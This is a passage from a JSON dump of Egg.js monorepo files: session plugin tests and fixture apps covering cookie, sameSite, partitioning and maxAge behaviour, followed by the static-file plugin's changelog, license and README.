    "content": "import type { SessionStoreOrAppSessionStoreClass, SessionStore } from './app/extend/application.ts';\nimport type { SessionConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    session: SessionConfig;\n  }\n\n  interface Application {\n    // add Application instance property\n    set sessionStore(store: SessionStoreOrAppSessionStoreClass | null | undefined);\n    get sessionStore(): SessionStore | undefined;\n  }\n}\n"
  },
  {
    "path": "plugins/session/test/app/middleware/session.test.ts",
    "content": "import path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { request, TestAgent } from '@eggjs/supertest';\nimport { describe, it, beforeEach, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nfunction getFixtures(name: string) {\n  return path.join(import.meta.dirname, '../../fixtures', name);\n}\n\ndescribe('test/app/middlewares/session.test.js', () => {\n  let app: MockApplication;\n  let agent: TestAgent;\n  afterEach(mm.restore);\n\n  describe('sessionStore', () => {\n    beforeAll(() => {\n      app = mm.app({ baseDir: getFixtures('memory-session') });\n      return app.ready();\n    });\n    beforeEach(() => {\n      agent = new TestAgent(app.callback());\n    });\n    afterAll(() => app.close());\n\n    it.skip('should keep session config stable', () => {\n      // TODO: Replace snapshot with vitest snapshot\n      // snapshot(app.config.session);\n    });\n\n    it('should get sessionStore', async () => {\n      mm.empty(app.sessionStore, 'set');\n      await agent\n        .get('/set?foo=bar')\n        .expect(200)\n        .expect({ foo: 'bar' })\n        .expect('set-cookie', /EGG_SESS=.*?;/);\n\n      await agent.get('/get').expect(200).expect({});\n    });\n\n    it('should session store can be change', async () => {\n      mm(app.config, 'env', 'local');\n\n      await agent\n        .get('/set?foo=bar')\n        .expect(200)\n        .expect({ foo: 'bar' })\n        .expect((res) => {\n          const cookie = res.get('Set-Cookie')!.join('|');\n          expect(cookie).not.toContain('; samesite=none;');\n        })\n        .expect('set-cookie', /EGG_SESS=.*?;/);\n\n      await agent.get('/get').expect(200).expect({ foo: 'bar' });\n\n      app.sessionStore = null;\n\n      await agent.get('/get').expect(200).expect({});\n    });\n  });\n\n  describe('httpOnly', () => {\n    it('should warn when httponly false', async () => {\n      app = mm.app({ baseDir: getFixtures('httponly-false-session') });\n      await app.ready();\n      app.expectLog(\n        '[@eggjs/session]: please set `config.session.httpOnly` to true. It is very dangerous if session can read by client JavaScript.',\n        'coreLogger',\n      );\n      await app.close();\n    });\n  });\n\n  describe('sameSite', () => {\n    beforeAll(() => {\n      app = mm.app({ baseDir: getFixtures('samesite-none-session') });\n      return app.ready();\n    });\n    beforeEach(() => {\n      agent = new TestAgent(app.callback());\n    });\n    afterAll(() => app.close());\n\n    it('should work with sameSite=none', async () => {\n      await agent\n        .get('/set?foo=bar')\n        .set(\n          'user-agent',\n          'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',\n        )\n        .set('x-forwarded-proto', 'https')\n        .expect(200)\n        .expect({ foo: 'bar' })\n        .expect((res) => {\n          const cookie = res.get('Set-Cookie')!.join('|');\n          expect(cookie).toContain('; samesite=none;');\n        });\n    });\n  });\n\n  describe('chips', () => {\n    beforeAll(() => {\n      app = mm.app({ baseDir: getFixtures('chips') });\n      return app.ready();\n    });\n    beforeEach(() => {\n      agent = new TestAgent(app.callback());\n    });\n    afterAll(() => app.close());\n\n    it('should work with chips', async () => {\n      await agent\n        .get('/set?foo=bar')\n        .set(\n          'user-agent',\n          'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.4044.138 Safari/537.36',\n        )\n        .set('x-forwarded-proto', 'https')\n        .expect(200)\n        .expect({ foo: 'bar' })\n        .expect((res) => {\n          const cookies = res.headers['set-cookie'];\n          console.log(cookies);\n        });\n    });\n  });\n\n  describe('logValue', () => {\n    beforeAll(() => {\n      app = mm.app({ baseDir: getFixtures('logValue-false-session') });\n      return app.ready();\n    });\n    beforeEach(() => {\n      agent = new TestAgent(app.callback());\n      app.mockLog();\n    });\n    afterAll(() => app.close());\n\n    it('when logValue is true, should log the session value', async () => {\n      let cookie = '';\n      app.mockLog();\n      mm(app.config.session, 'logValue', true);\n\n      await agent\n        .get('/maxAge?maxAge=100')\n        .expect(200)\n        .expect((res) => {\n          cookie = res.get('Set-Cookie')!.join(';');\n        });\n\n      await scheduler.wait(200);\n\n      await request(app.callback()).get('/get').set('cookie', cookie).expect(200).expect({});\n      app.notExpectLog('[session][expired] key(undefined) value(\"\")', 'coreLogger');\n    });\n\n    it('when logValue is false, should not log the session value', async () => {\n      mm(app.config.session, 'logValue', false);\n      app.mockLog();\n      let cookie = '';\n\n      await agent\n        .get('/maxAge?maxAge=100')\n        .expect(200)\n        .expect((res) => {\n          cookie = res.get('Set-Cookie')!.join(';');\n        });\n\n      await scheduler.wait(200);\n\n      await request(app.callback()).get('/get').set('cookie', cookie).expect(200).expect({});\n\n      await scheduler.wait(1000);\n\n      app.expectLog('[session][expired] key(undefined) value(\"\")', 'coreLogger');\n    });\n\n    it('when logValue is false, valid false, should not log the session value', async () => {\n      mm(app.config.session, 'logValue', false);\n      mm(app.config.session, 'valid', () => false);\n      app.mockLog();\n\n      await agent.get('/set?foo=bar').expect(200).expect({ foo: 'bar' });\n\n      await agent.get('/get');\n\n      await scheduler.wait(1000);\n\n      app.expectLog('[session][invalid] key(undefined) value(\"\")', 'coreLogger');\n    });\n  });\n\n  describe('session maxage', () => {\n    beforeAll(() => {\n      app = mm.app({ baseDir: getFixtures('session-maxage-session') });\n      return app.ready();\n    });\n    beforeEach(() => {\n      agent = new TestAgent(app.callback());\n    });\n    afterAll(() => app.close());\n\n    it('should work with maxage=ession', async () => {\n      await agent\n        .get('/set?foo=bar')\n        .set(\n          'user-agent',\n          'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',\n        )\n        .set('x-forwarded-proto', 'https')\n        .expect(200)\n        .expect({ foo: 'bar' })\n        .expect((res) => {\n          const cookie = res.get('Set-Cookie')!.join('|');\n          expect(cookie).not.toContain('expires');\n          expect(cookie).not.toContain('max-age');\n        });\n    });\n\n    it('should ctx.session.maxAge=session work', async () => {\n      await agent\n        .get('/maxAge?maxAge=session')\n        .expect(200)\n        .expect((res) => {\n          const cookie = res.get('Set-Cookie')!.join(';');\n          expect(cookie).toMatch(/EGG_SESS=.*?;/);\n          expect(cookie).not.toContain('expires');\n          expect(cookie).not.toContain('max-age');\n        });\n    });\n  });\n\n  // ['cookie-session', 'memory-session', 'memory-session-generator', 'redis-session']\n  // skip redis-session because it uses redis\n  ['cookie-session', 'memory-session', 'memory-session-generator'].forEach((name) => {\n    describe(name, () => {\n      beforeAll(() => {\n        app = mm.app({\n          baseDir: getFixtures(name),\n          cache: false,\n        });\n        return app.ready();\n      });\n      beforeEach(() => {\n        agent = new TestAgent(app.callback());\n      });\n      afterAll(() => app.close());\n\n      if (name === 'redis-session') {\n        it('should get with ', async () => {\n          await agent\n            .get('/set?foo=bar')\n            .expect(200)\n            .expect({ foo: 'bar' })\n            .expect('set-cookie', /EGG_SESS=.*?;/);\n\n          mm.empty(app.redis, 'get');\n\n          await agent.get('/get').expect(200).expect({});\n        });\n      }\n\n      it('should get empty session and do not set cookie when session not populated', async () => {\n        await agent\n          .get('/get')\n          .expect(200)\n          .expect({})\n          .expect((res) => {\n            expect(\n              !res\n                .get('Set-Cookie')!\n                .join('')\n                .match(/EGG_SESS/),\n            ).toBe(true);\n          });\n      });\n\n      it('should ctx.session= change the session', async () => {\n        await agent\n          .get('/set?foo=bar')\n          .expect(200)\n          .expect({ foo: 'bar' })\n          .expect('set-cookie', /EGG_SESS=.*?;/);\n      });\n\n      it('should ctx.session.key= change the session', async () => {\n        await agent\n          .get('/set?key=foo&foo=bar')\n          .expect(200)\n          .expect({ key: 'foo', foo: 'bar' })\n          .expect('set-cookie', /EGG_SESS=.*?;/);\n\n        await agent\n          .get('/setKey?key=bar')\n          .expect(200)\n          .expect({ key: 'bar', foo: 'bar' })\n          .expect('set-cookie', /EGG_SESS=.*?;/);\n      });\n\n      it('should ctx.session=null remove the session', async () => {\n        await agent\n          .get('/set?key=foo&foo=bar')\n          .expect(200)\n          .expect({ key: 'foo', foo: 'bar' })\n          .expect('set-cookie', /EGG_SESS=.*?;/);\n\n        await agent\n          .get('/remove')\n          .expect(204)\n          .expect('set-cookie', /EGG_SESS=;/);\n\n        await agent.get('/get').expect(200).expect({});\n      });\n\n      it('should ctx.session.maxAge= change maxAge', async () => {\n        await agent\n          .get('/set?key=foo&foo=bar')\n          .expect(200)\n          .expect({ key: 'foo', foo: 'bar' })\n          .expect('set-cookie', /EGG_SESS=.*?;/);\n\n        let cookie = '';\n\n        await agent\n          .get('/maxAge?maxAge=100')\n          .expect(200)\n          .expect({ key: 'foo', foo: 'bar' })\n          .expect((res) => {\n            cookie = res.get('Set-Cookie')!.join(';');\n            expect(cookie).toMatch(/EGG_SESS=.*?;/);\n            expect(cookie).toMatch(/expires=/);\n            expect(cookie).toMatch(/max-age=/);\n          });\n\n        await scheduler.wait(200);\n\n        await agent.get('/get').expect(200).expect({});\n\n        await request(app.callback()).get('/get').set('cookie', cookie).expect(200).expect({});\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/session/test/fixtures/chips/app/controller/home.js",
    "content": "exports.get = async (ctx) => {\n  ctx.body = ctx.session;\n};\n\nexports.set = async (ctx) => {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/chips/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/chips/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\nexports.session = {\n  partitioned: true,\n  removeUnpartitioned: true,\n};\n\nexports.proxy = true;\n"
  },
  {
    "path": "plugins/session/test/fixtures/chips/package.json",
    "content": "{\n  \"name\": \"chips-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/cookie-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/cookie-session/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/cookie-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/session/test/fixtures/cookie-session/package.json",
    "content": "{\n  \"name\": \"cookie-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/httponly-false-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/httponly-false-session/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/httponly-false-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\nexports.session = {\n  httpOnly: false,\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/httponly-false-session/package.json",
    "content": "{\n  \"name\": \"httponly-false-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/logValue-false-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/logValue-false-session/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/logValue-false-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\nexports.session = {\n  logValue: false,\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/logValue-false-session/package.json",
    "content": "{\n  \"name\": \"logvalue-false-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session/app/controller/home.js",
    "content": "'use strict';\n\nexports.get = async (ctx) => {\n  ctx.body = ctx.session;\n};\n\nexports.set = async (ctx) => {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async (ctx) => {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async (ctx) => {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async (ctx) => {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session/app.js",
    "content": "const sessions = {};\n\nmodule.exports = class AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async willReady() {\n    this.app.sessionStore = {\n      async get(key) {\n        return sessions[key];\n      },\n\n      async set(key, value) {\n        sessions[key] = value;\n      },\n\n      async destroy(key) {\n        sessions[key] = undefined;\n      },\n    };\n  }\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session/package.json",
    "content": "{\n  \"name\": \"memory-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session-generator/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session-generator/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session-generator/app.js",
    "content": "const sessions = {};\n\nmodule.exports = (app) => {\n  app.sessionStore = {\n    async get(key) {\n      return sessions[key];\n    },\n\n    async set(key, value) {\n      sessions[key] = value;\n    },\n\n    async destroy(key) {\n      sessions[key] = undefined;\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session-generator/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/session/test/fixtures/memory-session-generator/package.json",
    "content": "{\n  \"name\": \"memory-session-generator\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = Number(ctx.query.maxAge);\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/app.js",
    "content": "module.exports = (app) => {\n  // set redis session store\n  app.sessionStore = class Store {\n    constructor(app) {\n      this.app = app;\n    }\n    async get(key) {\n      const res = await this.app.redis.get(key);\n      if (!res) return null;\n      return JSON.parse(res);\n    }\n\n    async set(key, value, maxAge) {\n      value = JSON.stringify(value);\n      await this.app.redis.set(key, value, 'PX', maxAge);\n    }\n\n    async destroy(key) {\n      await this.app.redis.del(key);\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\n\nexports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    db: '0',\n    password: '',\n  },\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/redis-session/package.json",
    "content": "{\n  \"name\": \"redis-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/samesite-none-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/samesite-none-session/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/samesite-none-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\nexports.session = {\n  sameSite: 'none',\n};\n\nexports.proxy = true;\n"
  },
  {
    "path": "plugins/session/test/fixtures/samesite-none-session/package.json",
    "content": "{\n  \"name\": \"samesite-none-session\"\n}\n"
  },
  {
    "path": "plugins/session/test/fixtures/session-maxage-session/app/controller/home.js",
    "content": "exports.get = async function (ctx) {\n  ctx.body = ctx.session;\n};\n\nexports.set = async function (ctx) {\n  ctx.session = ctx.query;\n  ctx.body = ctx.session;\n};\n\nexports.setKey = async function (ctx) {\n  ctx.session.key = ctx.query.key;\n  ctx.body = ctx.session;\n};\n\nexports.remove = async function (ctx) {\n  ctx.session = null;\n  ctx.body = ctx.session;\n};\n\nexports.maxAge = async function (ctx) {\n  ctx.session.maxAge = ctx.query.maxAge;\n  ctx.body = ctx.session;\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/session-maxage-session/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/get', 'home.get');\n  app.get('/set', 'home.set');\n  app.get('/setKey', 'home.setKey');\n  app.get('/remove', 'home.remove');\n  app.get('/maxAge', 'home.maxAge');\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/session-maxage-session/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys';\nexports.session = {\n  maxAge: 'session',\n};\n"
  },
  {
    "path": "plugins/session/test/fixtures/session-maxage-session/package.json",
    "content": "{\n  \"name\": \"httponly-false-session\"\n}\n"
  },
  {
    "path": "plugins/session/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/static/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\ntest/fixtures/**/run\n.DS_Store\n.tshy*\n.eslintcache\ndist\npackage-lock.json\n.package-lock.json\n"
  },
  {
    "path": "plugins/static/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs/static/compare/v2.3.1...v3.0.0) (2025-01-12)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n\t- Updated package to `@eggjs/static`\n\t- Enhanced TypeScript support\n\t- Improved static file serving configuration\n\n- **Chores**\n\t- Updated GitHub Actions workflows\n\t- Modernized project configuration\n\t- Updated Node.js version support to 18.19.0, 20, and 22\n\n- **Documentation**\n\t- Updated README with new package details\n\t- Simplified changelog and documentation\n\n- **Refactor**\n\t- Migrated from CommonJS to ES modules\n\t- Restructured project file organization\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#26](https://github.com/eggjs/static/issues/26)) ([ab7d6fb](https://github.com/eggjs/static/commit/ab7d6fbed5c215febecca8a5f1a5b8e5515d99a2))\n\n## [2.3.1](https://github.com/eggjs/egg-static/compare/v2.3.0...v2.3.1) (2023-02-13)\n\n\n### Bug Fixes\n\n* ignore mkdir if exists ([#24](https://github.com/eggjs/egg-static/issues/24)) ([92f3c33](https://github.com/eggjs/egg-static/commit/92f3c339592f789b2107aa849cfa0641df18ca12))\n\n## [2.3.0](https://github.com/eggjs/egg-static/compare/v2.2.0...v2.3.0) (2023-02-12)\n\n\n### Features\n\n* add contributors ([3bf1ba1](https://github.com/eggjs/egg-static/commit/3bf1ba1b6bafd4b1a61b9fb0438c4ec07939af37))\n\n---\n\n\n2.2.0 / 2019-02-15\n==================\n\n**features**\n  * [[`7a4b927`](http://github.com/eggjs/egg-static/commit/7a4b927e53670af89005fde057c838825fe96a30)] - feat: add options.dir for support multi folder serve. (#17) (仙森 <<dapixp@gmail.com>>)\n\n2.1.1 / 2018-05-02\n==================\n\n**fixes**\n  * [[`a55f7ad`](http://github.com/eggjs/egg-static/commit/a55f7ad50ab880f3114bf12910f5f64e1d4da941)] - fix: range only work with static prefix url (#15) (Yiyu He <<dead_horse@qq.com>>)\n\n2.1.0 / 2018-01-10\n==================\n\n**features**\n  * [[`cd35dea`](http://github.com/eggjs/egg-static/commit/cd35dea2ccf98dc7fed7d36a25f5555f3712eb8f)] - feat: add range support (#13) (HelloYou <<helloyou2012@yeah.net>>)\n\n**others**\n  * [[`93a56c1`](http://github.com/eggjs/egg-static/commit/93a56c1af60c69cd814d33696224a7f044034da6)] - docs: fix confusion for option:prefix (#12) (Airyland <<i@mao.li>>)\n\n2.0.0 / 2017-11-09\n==================\n\n**others**\n  * [[`bc2d05c`](http://github.com/eggjs/egg-static/commit/bc2d05c10fe6aabc3e0190a20866dd45f4134dda)] - refactor: upgrade dependencies and support egg@2 (#11) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`779e4fa`](http://github.com/eggjs/egg-static/commit/779e4fa7d171fa7e1c51c902e9b47be9632cb35d)] - docs: update usage (#10) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.4.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#9)\n\n1.4.0 / 2017-06-01\n==================\n\n  * feat: use lru to store files (#8)\n\n1.3.0 / 2017-03-25\n==================\n\n  * feat: add support multiple directory (#7)\n\n1.2.0 / 2017-02-21\n==================\n\n  * deps: upgrade koa-static-cache to 4.x (#6)\n  * chore: upgrade deps and fix test (#5)\n\n1.1.0 / 2017-01-13\n==================\n\n  * feat: default lazyload (#4)\n  * docs: note for koa-static-cache (#3)\n\n1.0.0 / 2016-11-02\n==================\n\n  * test: add node v7 (#2)\n\n0.1.0 / 2016-07-18\n==================\n\n  * test: add tests (#1)\n\n0.0.2 / 2016-07-15\n==================\n\n  * init\n"
  },
  {
    "path": "plugins/static/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/static/README.md",
    "content": "# @eggjs/static\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/static.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/static.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/static\n[snyk-image]: https://snyk.io/test/npm/@eggjs/static/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/static\n[download-image]: https://img.shields.io/npm/dm/@eggjs/static.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/static\n\nStatic server plugin for egg, base on [@eggjs/koa-static-cache](https://github.com/eggjs/egg/tree/next/packages/koa-static-cache).\n\n## Install\n\n`@eggjs/static` is a plugin that has been built-in for egg. It is enabled by default.\n\n## Configuration\n\n`@eggjs/static` support all configurations in [@eggjs/koa-static-cache](https://github.com/eggjs/egg/tree/next/packages/koa-static-cache).\nAnd with default configurations below:\n\n- prefix: `'/public/'`\n- dir: `path.join(appInfo.baseDir, 'app/public')`\n- dynamic: `true`\n- preload: `false`\n- maxAge: `31536000` in prod env, `0` in other envs\n- buffer: `true` in prod env, `false` in other envs\n\n`@eggjs/static` provides one more option:\n\n- maxFiles: the maximum value of cache items, only effective when dynamic is true, default is `1000`.\n\n**All static files in `$baseDir/app/public` can be visited with prefix `/public`, and all the files are lazy loaded.**\n\n- In non-production environment, assets won't be cached, your modification can take effect immediately.\n- In production environment, `@eggjs/static` will cache the assets after visited, you need to restart the process to update the assets.\n- Dir default is `$baseDir/app/public` but you can also define **multiple directory** by use `dir: [dir1, dir2, ...]` or `dir: [dir1, { prefix: '/static2', dir: dir2 }]`, static server will use all these directories.\n\n```ts\n// {app_root}/config/config.default.ts\nexport default {\n  static: {\n    // maxAge: 31536000,\n  },\n};\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/static/package.json",
